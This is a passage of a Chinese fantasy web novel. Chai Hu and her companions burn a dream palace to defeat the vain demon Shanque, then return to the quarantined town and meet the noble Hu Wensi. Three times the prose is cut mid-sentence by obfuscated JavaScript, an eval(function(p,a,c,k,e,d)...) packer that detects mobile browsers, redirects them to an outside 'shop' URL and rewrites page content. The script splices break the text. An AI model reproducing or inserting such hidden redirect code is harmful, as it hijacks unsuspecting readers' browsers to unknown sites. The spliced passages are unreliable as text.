她只想你大发慈悲将这个破游戏收回去,不要再强迫人进梦里玩什么游戏关卡。 柴胡腹诽着,面上意图挤出像裴慕栀那般令人放松警惕的笑容,挤了老半天,都没挤出来,索性放弃。 众人跟着梦姑,红木屋是一步一步被人抛在脑后,淹于泥土中升腾而起的黄沙。 一路上,梦姑也没闲着,三番五次想找柴胡搭话。 若是聊如何彻底解决这场瘟疫,柴胡倒是有几分心情。然而梦姑是在问柴胡以前是什么样子的,这就触碰到柴胡的禁区。别说身边还有个不容忽视的裴慕栀。 梦姑逗了柴胡半天,反应仍然没有达到她想要的,颇感无趣,“你不愿说,不然我们交换秘密,我告诉你方才居住在红屋子里那个老妪的过往?” “不需要。”柴胡一脚踩进泥泞,泥水四溅,溅到裴慕栀腿上。 同样离得近的梦姑,却不留半分痕迹,仿佛泥水穿过了她的身体。 “你不喜欢听我讲故事?”梦姑喋喋不休,好像许多年没与人讲过话似的,话匣子一直关不上。 “我们还要走多久?” 偏离青石路的泥地留下好几窜脚印,眼看就要走进白雾笼罩的区域,离开村落范围,柴胡仍旧没看到下一位老人的踪影。 不由得开始怀疑梦姑是故意带她们去死的。 梦姑似乎看出柴胡想些什么,合上了那张没闭过的嘴。 手一抬,灯笼散发的微光驱走了白雾。朦胧中,白雾之下逐渐显现出一栋庄严巍峨的建筑物。 陆陆续续的边角展露人前,裴慕栀瞧见建筑物的端倪,瞳孔忍不住收缩。 “这里为什么会出现……” 胡喻也合不拢他的嘴,接上了裴慕栀的话:“为什么会出现一座城池啊?!” 白雾笼罩的范围极大,虽然在灯笼的照耀下,急不可耐地逃窜,可逃了许久也没有完全逃出城池。 屹立的城墙,若隐若现一整座青砖碧瓦琉璃宫殿。斑驳的石面,镶嵌着细粒的黄沙,认真看尚且见到黄沙从墙壁表面飘出,晃晃悠悠往村落中心飞去。 “你们从这里进去就行。”梦姑站在不远处,走近了才发现她所指的是一道小门。 胡喻与仇不眠交换了一个眼神,担忧里头是个陷阱。 柴胡扭头眺望反向存在的青山,“我还以为,剩下的人会在那里。” 梦姑浅笑了几分,“你还是别去那座山比较好。” “为何?” “有些山只可远观,不可近看。”梦姑轻晃脑袋,倒有几分娇俏,唇边诉说着令人细思极恐的内容:“黄沙自城池产出,在村落觅食,觅食完剩下的残渣又会堆积何处,不是显而易见?” 柴胡微微仰头,直视与她差不多高度的梦姑:“黄沙为何会出现?” “唔……你觉得会因为什么?”梦姑歪头反问。 “算了。”柴胡按按眉心,不想跟梦姑在纠缠下去,她已经感受到自己身体隐隐约约传来的痛感,宣告她现实的躯壳没有体力继续强撑了。 梦姑微笑的弧度上扬,勾出往常一样的笑容,目送柴胡等人进入城池。 “希望您玩的愉快。” 跨过城墙,走到城池中央。 随着柴胡几人的脚步,墙壁上的火把一把一把地点燃,照亮这片阴森森的鬼域。走近了便能清晰见到宫殿的雕梁画栋,规格雄伟。 “但不符合规制。”裴慕栀看完,点评道。 见柴胡侧头倾听,他便说了下去:“皇孙贵族有一定的规格限制,宫殿建成的一砖一瓦都必须根据制度建造,哪怕是城池亦是一样。” “这里,应该是私制。” 柴胡哪管你私制不私制,都白日做梦了,还不许别人妖怪做点山大王的畅想吗。 不予理会裴慕栀的头头是道,继续迈步向前。 火光摇曳,令柴胡轻松注意到宫殿前方,正跪着十余人。 尽管那些人背对着她,柴胡依然认出其中一个的衣着,便是最开始被她施展断子绝孙脚的男子。他紧挨着的就是他的同伴,不过好像少了一两个。 柴胡刚靠近,那些跪坐的人忽然猛地抬头,又猛地朝宫殿紧闭的门磕了几个响头,一边磕,嘴上一边大喊:“美妖王万岁!!!” 柴胡:“……”我还美猴王呢,美妖王是什么东西。 沉闷的鼓声从四周响起,伴随着人叩首大喊,裴慕栀神情严肃,掐着手在思考。 胡喻与仇不眠是皱着眉头,难以理解这一幕。 “他们中邪了吗?”胡喻问道。 柴胡看了一会,然后径直穿过了那群搞信仰的疯子们,毫不犹豫地拉开宫殿门口。 唰地一下,门口丝滑地打开。 显然柴胡没料到这门怎么容易被开启,有些发愣。 “柴姑娘,你怎么这么莽撞?”跟上来的裴慕栀恨铁不成钢地盯住柴胡。其余二人赞同地点点头。 柴胡耸耸肩,“你又不是第一天认识我。” 说完她自己都停顿住,她们之间好像就没有认识几天。 不过现下不是纠结这些的时候,柴胡往宫殿里张望片刻,见外头跪着的人毫无反应,坚持摆着信仰姿势,于是毫不客气地进去宫殿。 裴慕栀眉头紧锁,紧随其后。 宫殿里头弯弯绕绕,虽然点着烛火,但仍叫人感觉沉闷窒息。 柴胡以前也观摩过一些名胜古迹,知晓正常宫殿的构造,走了约莫半柱香时间,已然感觉到不对劲。 “此地不是宫殿。”若说柴胡对名胜古迹有些了解,时常出入宫殿的现丞相裴慕栀理所当然对每个角落了然于胸。 他与柴胡相视:“是陵墓。” 开头宫殿大门大开后,除了放置中央的一大块屏风与架子上架起的一些琉璃花瓶外,找不到任何有用的,因此他们决定寻找寝室,找到那个剩下的老人。 结果竟是出乎所料。 胡喻纳闷道:“外面明明看起来是宫殿,里面却是坟墓,剩下的老不死难道真的死了?” “胡喻,噤声。”仇不眠无奈道。 他是生怕妖怪听不到别人骂它。 “接下来你的主场了。”柴胡毫不犹豫托付给裴慕栀,“你对陵墓有经验,你来带路。” 裴慕栀眼底闪过几分无可奈何,“我没死过,哪来的经验。但我确实见过工部修建的陵墓图纸,与此地可以说各不相干。” 柴胡点点头,“所以你又没用了。” 也是,都梦里虚拟建模了,当然是这里抄点那里抄点,裁缝一下建个自己爱看的墓。 裴慕栀那点常识是放在现实里运用的,梦里千奇百怪,指不定是哪来的山鸡当凤凰。 胡喻看他两条“大腿”陷入了困境,忽然福至心灵,“不如我们逼那老不死……老人出来?如果他没死的话。” 柴胡与胡喻四目相对,那一刻她们看明白了对方的意思。争先恐后往来时的路退回去。 裴慕栀不解,与沉默的仇不眠一前一后走着。 柴胡与胡喻跑回原地,柴胡的身体没有胡喻强健,抵达宫殿外墙壁的火把下已是气喘吁吁,胡喻跟没事人一样乐颠颠地取下火把。 裴慕栀观摩了一会,恍然大悟又深觉荒谬。 仇不眠已经接过胡喻递过来的火把,在胡喻的指示下大力往宫殿顶端一扔。 火把离心甩出的火焰四散掉落在琉璃上,越来越多的火焰紧随其后,宛如天上星火坠落。 柴胡大喘着气,吩咐裴慕栀将宫殿里巨大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那人不可置信,指着柴胡的手颤抖着,“你烧我宫殿,只是为了见我,只是为了常回家看看?” 柴胡毫不心虚点头,虽然常回家看看的家被烧了,但她家也回了,人也见了,不是完成的很好吗? 那人脸色一阵青一阵紫,后来不知想到什么,忽然脸色稍缓,“吾名山雀,汝是吾流失在外的子孙,汝不想多留下,聆听吾之过往,继承吾之财宝?” 柴胡:“听不懂,讲人话。” 山雀差点破功,看柴胡的神色又多了几丝阴狠。 “你就不想知道我为什么会是这副模样?你就不想要长生不老?你可是女子,应知世间男子均爱红颜,难道你就不想拥有稀世容颜,来留住你的爱人?” 山雀说话间,视线看向了完成救火的裴慕栀。 柴胡指指裴慕栀抓着的人,那人衣衫被烧得破破烂烂,也仍然用充满爱慕的眼神看山雀。 “我平生信条,能动手不哔哔。再说我要是听了,那些磕头的傻缺们就是我的下场。”柴胡一看前后,就猜到发生了什么事,心里只想离开这里,哪还跟这一看就不正常的山雀聊天聊地。 “你还是人吗?”山雀突然哭诉道:“他们听完皆怜悯我,爱惜我,你难道是铁石心肠,你都能听完外头那些老人的故事,难道不该对我多几分耐性?” 情绪变化转折快得叫人跟不上。 胡喻:“……” 仇不眠:“……” 裴慕栀:“……” 外头有故事吗,他们怎么不知道? 被燃烧坍塌的宫殿,哭得梨花带雨的美人,怎么看都像是一幅凄美场景。 而目睹这一场景的柴胡默默捂住了双耳,“不听不听,王八念经。” 哪里有水源,她很想冲泡颗粒来毒死这个企图诈骗她的黄色诱惑。 11. 总不能说她是走后门的 “这里究竟发生了什么?” 一阵阵惊呼打断山雀的哀鸣。 三名灰头土脸粗衣麻布的男子陆陆续续走近宫殿,看到对峙中的柴胡与山雀,感受到迎面而来的火焰热意。 仅一眼,男子满心挂在了山雀的身上,神情泛出不正常的红色。 “世间怎么会有如此漂亮的姑娘。”三人赞叹道,脚步慢慢靠近山雀。 山雀眼底闪过一分得意,白皙的手心捂住胸口,秀眉轻拧,“你们是来救我的吗?” 虽然不知前因后果,但被美色迷晕的男子争先恐后地点头,“是是是,你有什么尽管吩咐咱们三。” 柴胡冷眼旁观山雀演戏,用脚趾头想都知道山雀想干什么。 果然不出意料,山雀命令三名男子把她们绑起来,乱棍打死。 其中一名男子尚且有些理智,粗手紧抓在布料上摩擦着,犹豫道:“他们干了啥丧尽天良的事吗?为啥要乱棍打死?” 山雀摆出哀怨的神情,为了彰显其身躯柔弱,找了根未烧到的宫殿柱子轻倚,硬凹出身如柳絮随风摆的模样。 “他们是一群强盗,为了得到我,不惜放火烧了我的家。” 领头的男子闻言,恶狠狠地看向柴胡,“好你个毒妇,你定是妒忌别人姑娘比你美貌,才放火想毁了她的美丽。” 柴胡无语:“不是说了,是我们想得到这位……姑娘才放火的。我怎么就嫉妒她了?” “你闭嘴!你们这些女子想些什么,不是显而易见的事?为了得到我们男子的青睐,不惜做尽恶毒之事!” 一句话,就让柴胡变了脸色,她扭头瞥了一下幸灾乐祸正准备坐收成果的山雀,“你们这些狗男人,真的很会气我。” 怒意在柴胡周身散发,微微跳动的心脏逐渐加大敲响。 本来就有些犹豫的男子对上柴胡冰冷的双眼,下意识地后退一步。 胡喻推了推仇不眠,仇不眠轻晃几步,就来到了三名男子跟前,火光映在寒凉的刀身上,冲出蚀人的煞气。 刀的出现叫三名男子有些惊恐,山雀见状,不由得啧了一声。 “莫怕,三名壮士。” 山雀朝男子们伸出手,千张面具中展现出较为神性的一面:“你们是经历重重波折才来到我的面前。你们回想一下,之前遇到过的老人。” “你们为了实现他们的心愿,使出了万分的努力,那些努力并没有辜负你们,并且成为了你们勇猛前进的力量。没错,你们拥有常人所不能拥有的,你们是被我选中的勇猛之士,注定要用这股力量统治天下。” “我为嘉奖这番勇猛,特提出以下奖励。你们若是能杀死眼前这四名异类,你们就可以得到我,以及我藏匿的财宝,那是一辈子都享受不尽的荣华富贵!” 美人加金银珠宝,双重的诱惑当然会令男子疯狂,趋之若鹜。哪怕前方站着凶神恶煞的嗜血死神,他们也照杀不误。 低吼一声,双双朝前扑向仇不眠。 仇不眠一个闪身,长腿一踹是一脚一个,但三名男子做惯了农活,力气比普通男子多上几分,自是扛得住仇不眠的踢腿。 他们手上没有兵器,光靠粗壮的双手紧抱住仇不眠的大腿,剩余的那人便劈头盖脸往仇不眠挥出一拳。 柴胡默默往后挪,移出更大的发挥空间给仇不眠,胡喻边高喊加油加油,边向柴胡那儿跑。 “不然我用唾沫给你使用神器?”胡喻悄声说道。 虽然提出这种恶心法子的是柴胡本人,但真遇到这种危急关头,她还是犹豫了一下。 “你的唾沫有那么多吗?”她怕胡喻干巴死。 胡喻沉吟了一下,“应该蛮多吧,我家中阿姊常骂我话多,唾沫星子也多。” 这时柴胡才看清胡喻的侧脸,之前他露出刀削般的下颌线不是开玩笑,细看之下,胡喻倒真有几分异域人的神采,许是祖上与异域之人通过婚。 “外国人确实口水分泌比较多啊。”柴胡微眯着眼,琢磨着。 “啊?”胡喻一愣,“我是大齐人。” 柴胡翻了个白眼,“我知道,你先张大嘴。” 胡喻听话地张嘴,柴胡刚撕开一小袋,就听到旁边砰砰砰几声。 两人双双扭头,看到仇不眠将三名男子叠罗汉般叠了起来,手一使劲,把插进最底下男子手腕上的刀拔了出来,鲜血瞬间喷涌而出。 他见到柴胡两人的姿势,眼睛一转,提议道:“刚好这里有血,跟水差不多,你们不如用它?至少比唾沫好。” 拿血冲泡小柴胡啊,柴胡有些恍惚。 瞅了瞅尽管在裴慕栀的控制下,也坚持不懈朝山雀膜拜磕头的信仰者们,又瞅了瞅兴致勃勃四处找器皿接血的仇不眠。 一时之间,搞不清楚哪个像邪//教多一点。 最后还是胡喻把仇不眠压下了,他是雇主,仇不眠肯定听他的。加上叠罗汉的男子之中,竟然有一个带了水囊,胡喻喜滋滋地将它上供给了柴胡。 柴胡拿到后,并没有第一时间冲泡小柴胡,而是看向山雀。 “……都那么长时间了,你怎么不跑啊?” 正常情况下,操纵完小弟去阻挡敌人,当然立刻撒腿就跑,哪还能留下来当人靶子。 山雀冷哼一声,“对付你们这些人,我一只手就可以,为什么要跑?要怕,当然是你怕我!” 柴胡宽慰地注视,“得亏是个脑残,作死作的一把好手。” 一番羞辱,引得山雀怒目而视,用力一挥手,裴慕栀看管的信仰者们如行尸走肉,神情呆滞,一茬一茬站了起来,缓慢包围起柴胡几人,嘴里还碎碎念叨。 “我要保护她,我要保护她……” 山雀放声大笑,“看到了吧,这是我的力量!” “你们这些铁石心肠的人,不怜悯我,不爱我,都给我下地狱吧!” “这世间没有人能够不爱我,没有人!!!”随着山雀的大喊,背后燃烧的大火忽然消失了,原本火焰舔舐宫殿一砖一瓦的细微响音戛然而止,整个城池有那么一息之间,只有柴胡四人的呼吸声。 “仇大哥。”胡喻小声呼唤着。 仇不眠点点头,“放心,能行。” 胡喻稍稍松一口气,这些年来都是仇不眠护着他,他也跟仇不眠学过一些拳脚功夫,但眼前的人着实有点多,况且他们不是妖怪,是跟他一样有血有肉的人。他下手没有仇不眠那样知晓轻重,万一把人杀了,他真的活不下去了。 他主动来废镇隔离,就是为了避免自己成为杀人不眨眼的杀人犯。 他也知道自己有些矫情,家族里不少子弟为了通过家族试炼,手上或多或少都会沾点血,可他不愿丢失仅有的良知,他还想做一个人。 有仇不眠护着,他至少能做一个有限期的无知少年。 柴胡等的也是这个时刻,她不能当着山雀的面,众目睽睽之下冲泡小柴胡,虽然山雀是个脑子有缺陷的,可依然会留意到她古怪的行为,进而猜到小柴胡的猫腻。 有了信仰者们组建的人墙阻挡,柴胡是眼睛不眨往水囊里连下好几袋小柴胡。 她认为山雀这种不是一般的有毒,一小袋是弄不死的,既然一袋不死,那就多来几袋。 望着山雀,思忖一会,“你说这傻子会不会蠢到自己喝下去?” 胡喻帮着仇不眠消灭漏网之鱼,闻言神色古怪,“我想她是傻,但应该不瞎。” 仇不眠甩袖一剑刺去,“所以我才说用血,妖怪不都爱这口。” 行动骤然陷入瓶颈,穿过人墙泼向山雀不是不可以,但对方不知道还藏着什么阴招,山雀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103182|195766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明显与柴胡先前碰到的妖怪不一样。 “搞不好真的是妖精。”柴胡挠挠头。 此时,裴慕栀左闪右躲地靠了过来,“不如说这是能够延年益寿的美容药?我瞧山雀那般爱美,应该不会推辞。” 柴胡想了想,反问:“你会接受敌人递来的茶水吗?” “不会。”裴慕栀毫不犹豫。 看到柴胡脸色不大好,“或许她是个蠢的,没想到这层。” 裴慕栀自己说着都不太自信,他得了瘟疫至今,从未遇到过如此困窘的局面,以往解决方式都是漂漂亮亮的,知前因后果,推测出解决办法。 如今与柴胡一同闯关,怎一个迷茫了得。不知前后,也看不到未来,脱离了掌控的感觉真令裴慕栀格外难受。 颇感绝望开始寄托于他从前不信的运气上。 “虽然事情有点晚了,但我仍想一问。倘若这一局没有我们,只有柴姑娘你一人存在,你要如何破局?”裴慕栀挡住了一个信仰者的拳头。 柴胡睁着死鱼眼,“若是没有你们,我根本不会听那些傻缺逼逼叨叨,见面第一眼我就泼他们了,哪还有来有往。”弄得现在下不了台。 言下之意,在座各位都是累赘,影响她发挥了。 裴慕栀泛起一丝苦笑,“倒是我们耽误柴姑娘了。” 柴胡也不是真的没心没肺,胡喻等人帮她挡住攻击,她是会真诚致谢,可一切都得等到她弄死山雀再说。 隔岸观火的山雀勾起灿烂的笑容,恶毒又无辜,“你瞧瞧,这就是你们不愿意归顺我的下场。” “明明你们会听第一个老东西的指使,为了满足它孝顺的要求,殴打那些无辜女子,将她们活活弄死。明明你们会听第二个老东西的愿望,留下人来陪它度过孤寂的晚年。可为什么!轮到我的时候,你们什么都不愿!” “你们要聆听我的故事,然后怜悯我,爱上我,为我付出你们所有的性命,陪我永永远远!!!”山雀越说越激动,巴掌大的貌美面容突然出现皲裂,纹底闪过丝丝黑色,却不见半点鲜血。 仇不眠在山雀发疯之际,已经敲晕了全部的信仰者,轻喘着气,薄汗覆盖额头,胡喻非常狗腿地递上自己的衣袖,为其擦拭,然而被仇不眠嫌弃,抛诸脑后。 四人呈包围姿势,围着山雀,柴胡叹了一口气,“我说这位不知道是大哥还是大姐的妖大王,你说的那些我们统统都不知道,我们没做过。” “少骗人了!你们没做又怎么会有资格来到这里!”山雀不信柴胡的话,手臂挥舞着,意图将信仰者们重新唤醒。 可仇不眠下手着实有点重,山雀挥动半天,都没有摇出一个人来,因为山雀并不知道仇不眠把人的四肢都打骨折了,就算是爬都爬不起来。 柴胡微微皱眉,难道她要说其实他们是走后门来的吗? 山雀气急败坏,没有了冲锋陷阵的兵,开始焦躁不安,咬着手指头,“我现在要开始讲我的故事了,你们都给我听着。” 胡喻疑惑道:“是气傻了吗?这种关头讲什么故事?” 仇不眠倍感无奈,“是要准备同化我们,把我们炼成它的兵,就像你脚边躺着也不忘拿双眼瞪你的那个一样。” “闭嘴闭嘴闭嘴,都别吵!!!”山雀声嘶力竭,想把发言权夺过来。 裴慕栀眼疾手快,夺过柴胡抱着的水囊,一下泼了过去。 滋滋滋宛如烤肉的声音响彻整座城池。 “啊啊啊啊——我要杀了你们!!!”山雀捂住半边脸,白烟从捂住的地方飘出。 柴胡神色复杂,她知晓山雀最重视容颜,侧头向裴慕栀道:“毁它面容,等于杀它父母,你也算歹毒。” 趁山雀顾不及反抗,裴慕栀赶紧将余下的药水倒掉,回眸一浅笑,“感谢柴姑娘的夸奖。” 12. 传说中的黑夜帝王 不管山雀怎么挣扎辱骂柴胡几人都好,被小柴胡药水泼过的地方都毫不留情地腐蚀着皮肉。 不一会儿,山雀便化成脓液,泯灭于世间。 柴胡看了一会,惋惜道:“可惜最后还是不知道山雀是男是女。” “男女有差吗?”胡喻不解。 柴胡看他仿佛在看不懂事的小辈,“当然。” “若是女子,我还会给她几分薄面,待她好一些。”至少说话委婉点,好听点。 胡喻:“若是男子呢?” 柴胡立刻垮脸,“重拳出击,倒转地球。” 胡喻迷茫又难以置信地瞪大双眼,“为何对男子这么苛刻?”虽然后一句不是很懂,但前一句听懂了。 柴胡指指不远处曾经恶语相向,如今躺着的叠罗汉,“种什么因,得什么果。” 想要别人待他好,首先他就得是个人。他不干人事,就别想拥有为人的待遇。 仇不眠立在原地感受了一番,随后睁眼:“为何引路人还没有出现?” 胡喻停下询问,左看右看。 不仅引路人没有出现,整座城池仍然亮着灯火,安安静静地屹立,仔细听还能听到黄沙飘出城墙摩挲而过的声响。 柴胡皱起眉心,“以往你们通关后,关主是否会随着建筑物一起消失?” 胡喻与仇不眠面面相觑,回答柴胡问题的是裴慕栀:“以往通关,完成游戏任务的时候,引路人便会即刻出现带我们离开。不过这次的关卡似乎跟以往有细微的不同,经验做不大准。”更别说出了柴胡这样不按规则来的行为,情况更难以掌控了。 柴胡寻思着,难道是因为之前率先刷了引路人的次数,所以不再出现? 就在几人思索间,一缕火苗由暗转亮,缓缓飘来。 定睛一看,正是柴胡几人等着的引路人——梦姑。 梦姑浅笑跨过地上瘫着的人,来到柴胡面前,“抱歉,有些事耽搁了。如今你们寻到了关主,完成了任务。你们可以选择睁开眼或继续闭眼。” 柴胡听着有些不同的台词,有些疑惑:“你怎么不恭喜我们了?” 以前都会祝福她们啊。 梦姑笑容不减,内容却些许刺骨:“如果你们按照规则来玩游戏,我当然会祝福。但你们的做法把关主搞死了,我还得去找继任者……总之,请选择睁开眼或继续闭眼。” 感受到梦姑丝丝的怨气,柴胡也没有半分不好意思,直接选择了睁开眼。 尽管她依然不懂为什么要询问是睁眼还是闭眼。 睁眼就是离开梦的世界,闭眼就真的永久闭眼,现实死亡。 不过在这种烂到要命的梦境里,或许真的有人当作是救命稻草,选择永久驻留。 但那个人不会是柴胡。 别的不说,单看方才,她就怕被梦姑打击报复,她加重了梦姑的工作,容易被穿小鞋。 柴胡睁眼,是熟悉的疼痛。 这次的关卡耗费她的力气有点多,导致她肉身是加倍的痛苦。 走马灯都走了好几遍,发现她醒来的长漠才把浑身湿透如水捞一般的她扶起来。 “小柴,你这次睡的有点久。”长漠边扶边说。 “我醒来都好些天了,你还没醒。之前你不是通关很快的吗?” 柴胡一听,痛苦的脸更苦了:“都是……冤孽啊。” 等柴胡断断续续地讲述梦里的事,长漠脸上流露出不满,“他们怎么那么碍事。” 柴胡摆摆手,那是她目前唯一能做的动作,“算了,也算是相互合作了一把,怨不得,我也有拖后腿的时候。” 长漠还是在愤懑不平,她气得快消得也快,“你有力气出门吃东西吗?” “都怪酒肆不让废镇的人打包饭菜,非得人走出去吃,不然你也不用撑着虚弱的身躯跑出去。” 柴胡叹息:“他们也是防止有人死在屋里,无人知晓。” 唯一一间的酒肆说明了它背后的势力由谁操控,密查组是朝廷明着管理废镇的棋子,酒肆就是另一面的暗棋,收集着人流的信息。 老半天过去,柴胡终于找回四肢能够动弹,同时也饿得前胸贴后背。 装备完出门时,长漠想起什么:“对了,你这几次在梦里都是没有戴上帷帽,这样不是会有很多人认出你?” “你在梦里的处境不是会很危险?” 柴胡戴好帷帽,耸耸肩,但长袍臃肿,看不出弧度:“所以我才说我也拖后腿了。” 她与人搭伙,攻略慢是慢了些,可时刻有人在她左右,其余人就算发现她的存在,也不敢对她出手。 “我得时刻贴身带着蒙脸的纱巾了。” 长漠皱眉:“那玩意儿可不好弄啊。” 本来长袍就难弄,在废镇要价就贵。尽管废镇许多人需要,可价格依然打不下来。 废镇里的人不事生产,可以说是醉生梦死,每天都是陷入梦境的人,目前只有朝廷偶尔的供给养着,所以才成为另类的监狱。 世家之弟或富贵公子尚且能够借由家族获得钱财补给,贫穷的人在废镇没有任何的防护自己的措施。入目可见的骨瘦如柴,便是被世间放弃之人。 柴胡侧头瞟了一下长漠,她第一次遇到长漠时什么都不懂,后来慢慢地开始琢磨她其实是不是世家子弟之一,抑或是有钱人,否则她怎会那么富贵能帮柴胡收集一身装扮。 “没事,我把长袍裁下一角便可。”柴胡不打算麻烦长漠。 长漠点点头,“那要去酒肆借把剪子。” 听上去好像很贫苦的生活,对于柴胡来说,其实是司空见惯。 有钱人或许不习惯废镇的日子,柴胡并不是。 走出外头是一成不变的高塔,灰蒙蒙的砖石。偶尔交错的过路人,窥瞥到的一脸死寂。 寂静的路上只有长漠蹦蹦跳跳的脚步碎声,但很快这欢快的声音被越来越近的嘈杂取缔。 长漠往后头一撇,下意识皱眉,把柴胡护在身后,柴胡看她这般举动没有说话,她知道长漠是不会害她的。 不多时,嘈杂声的源头出现了。 一队浩浩荡荡的队伍逐渐显出,八人抬着金银丝线镶嵌的步辇,前后各有五名侍从腰间别剑,神情冷峻。 步辇上斜卧着一名貌美女子,身着黑衣,抬眸间不见娇媚,反而是一股狠劲。 用柴胡的话形容便是:一看就像是宰了好几十人的三合会老大。 这头刚说完,那头便窜出一个蓬头跣足的男子,双手半举像是捧着什么东西状,脸上残留着泪水与鼻涕的痕迹,不要命般往队伍上撞。 “我受不了了,我要死!我要离开这个荒谬的世间!你们这些妖怪都得死,你们都得给我死!!!” 前言不搭后语的模样,在废镇不少见,而这也是染了瘟疫的人被囚禁在废镇的原因,分不清现实与虚幻,无差别攻击他人。 只见那人狠狠朝队伍一扔,柴胡才看清他方才捧住的是一块石头,上头还沾着新鲜的泥土。 前头的侍从想都不想,拔剑挥去。 与石头一同落地的,是那名男子的头颅。 “脏东西,就清理了吧。”清脆冰冷的声调自步辇上的女子口中传出。 领命的侍从熟稔地包裹起尸体与头颅,朝着另一边走去,那里是废镇集中处理尸体的地方。 亦是在梦里丢了性命之人,留下最后痕迹的地方。 停滞的队伍重新启程,看到队伍越来越远,长漠紧绷的身躯才稍稍放松。 柴胡见状,轻声问道:“他们是谁?” 长漠看了一眼作鸟兽散惊慌不已的其余人,解释道:“她是你这些天在梦里的时候,才进入废镇的人。” “见到她,最好躲远点。”长漠的语气前所未有的严肃。 “因为她是传说中黑夜的掌权者?”柴胡挑了一个有点古早又意外贴切的形容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103183|195766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 长漠:“……因为她是世家子弟,而且还是跟裴丞相为敌的世家之首。” “该小心走夜路的,难道不该是裴慕栀?”难保会被套麻袋。 长漠的脸扭曲了一下,她最难以抵挡的就是柴胡时不时乱七八糟的话。 “要是单纯的官场之争,我也不会叫你提防。”长漠正色了一下,“她进入废镇后,废镇的势力极快地转变,如今重新划分了三方势力。” “分别是朝廷,胡家为首的世家,以及废镇本地人。” 柴胡沉默片刻,“就这么一个小城镇,也要划分三国啊?接下来是不是得出现卧龙凤雏,得其一可得天下?” 长漠叹了一口气,“你老老实实做好自己吧,别让神器外泄,不然世家会扒了你的皮。” “胡文思不好惹,一来就杀了好些人。她可是胡家里头最说一不二的,最没有人情味的。”长漠喋喋不休。 柴胡边走边拉着她,她显然陷入了自己的思绪当中,不时从嘴边蹦出一些信息,柴胡是无可奈何地听着。 然而事实证明,白日不要说人,晚上不要说鬼,这不方才两个讲过的人就直愣愣地竖在酒肆门口,针锋相对。 胡文思与裴慕栀,像是狭路相逢,最后在酒肆相遇,但谁也不让谁。 “这不是被退婚的大齐丞相吗?真是好久不见,看来你这阵子过得挺不错的,比起朝廷,果然这些破落地方更适合你。”胡文思唇角微勾,露出讥讽。 裴慕栀无需多言,只要一句:“胡姑娘,有幸在此地相遇,你也是有福之人。” 胡文思面上闪过几分狠色,“裴慕栀,你在这里这么久,怕是不知道外头什么情况吧。你的旧情//人成婚了,十里红妆风光无限。对方还是吏部尚书之子,前不久替圣上立了大功,前途无可限量。” “只有你,在这小镇发烂发臭。” “我与慕容姑娘只是有婚约,并非情//人关系,还请胡姑娘莫要胡说。” 这厢裴慕栀皱眉反驳胡文思的话,那厢余光留意到柴胡与长漠鬼鬼祟祟地蹭进酒肆,没有心思继续与胡文思纠缠,“况且这不还有胡姑娘相伴,祝愿你烂得光彩,臭得如现下这般,美名远扬。” 身为文臣,打嘴仗,裴慕栀就没输过。尤其跟柴胡这个神奇大脑相伴过,攻击力是杠杠上涨。 哪里还留半分情面给女儿家,气得胡文思手掌一劈,硬生生劈断了步辇的一角。 溜进酒肆的柴胡有想过要不要在门外看戏,但她只有一条小命,随时会熄灭那种,付费不起这种要人命的戏码。 本想与长漠坐回常坐的绝佳位置,不过晚了一步,位置上已经有人了。 今日的酒肆格外的热闹,每一桌都坐满了人,柴胡左看右看,只能跟人搭桌。 所幸搭桌的对象是两名女子,同样身穿长袍,只有伸出手夹菜时,才窥见不同于男子的粗壮,是细嫩白皙的手腕。 长漠哒哒哒地点完菜跑回来,故作神秘说:“我知道今日为何那么多人了。” “听他们说,今日进梦的人就没有几个,于是他们都来酒肆吃饭了。好像连二楼都开放招待着几个世家子。” 柴胡一听,回想起关卡结束时引路人的姗姗来迟,心底一沉。 “原来是这样,有劳姑娘收集消息了。”裴慕栀忽然从柴胡身后窜出。 柴胡扭头,就与裴慕栀对视,隔着帷帽隐约瞧见他挂出的笑容,“我是来找柴姑娘的。” 同桌的两名女子不由得放慢了夹菜的速度,柴胡总觉得对方目光灼灼地望着她与裴慕栀。 “有事快说。” 裴慕栀视线注意到胡文思似乎要进来,赶紧伸手抓起柴胡的手腕,“得罪了柴姑娘,有事不如进厢房再聊?” 这般说着,并未等柴胡回应,生拉着她往二楼走。 留下长漠震惊与震怒交杂。 同桌两名女子:“哇哦。”好下饭。 13. 她和他是正经的交易关系 裴慕栀并没有将柴胡带到上次她躺过的厢房,而是另一间更大的雅间。 生怕有人在后面追似的裴慕栀,一进雅间,如释重负。 柴胡扭扭被攥过的手腕,幸好裴慕栀并未用力,没有留下伤痕,不然她跟他没完。 “找我什么事?”柴胡自顾自找凳子坐下。 裴慕栀抿抿嘴,问道:“柴姑娘,此关过后,你如今的桃花印可凑齐两枚?” 柴胡给自己倒茶的手一顿,早已泡好的茶水不慎倒洒,上等茶香幽幽四溢,一闻便知世间少有,只可惜便宜了桌布。 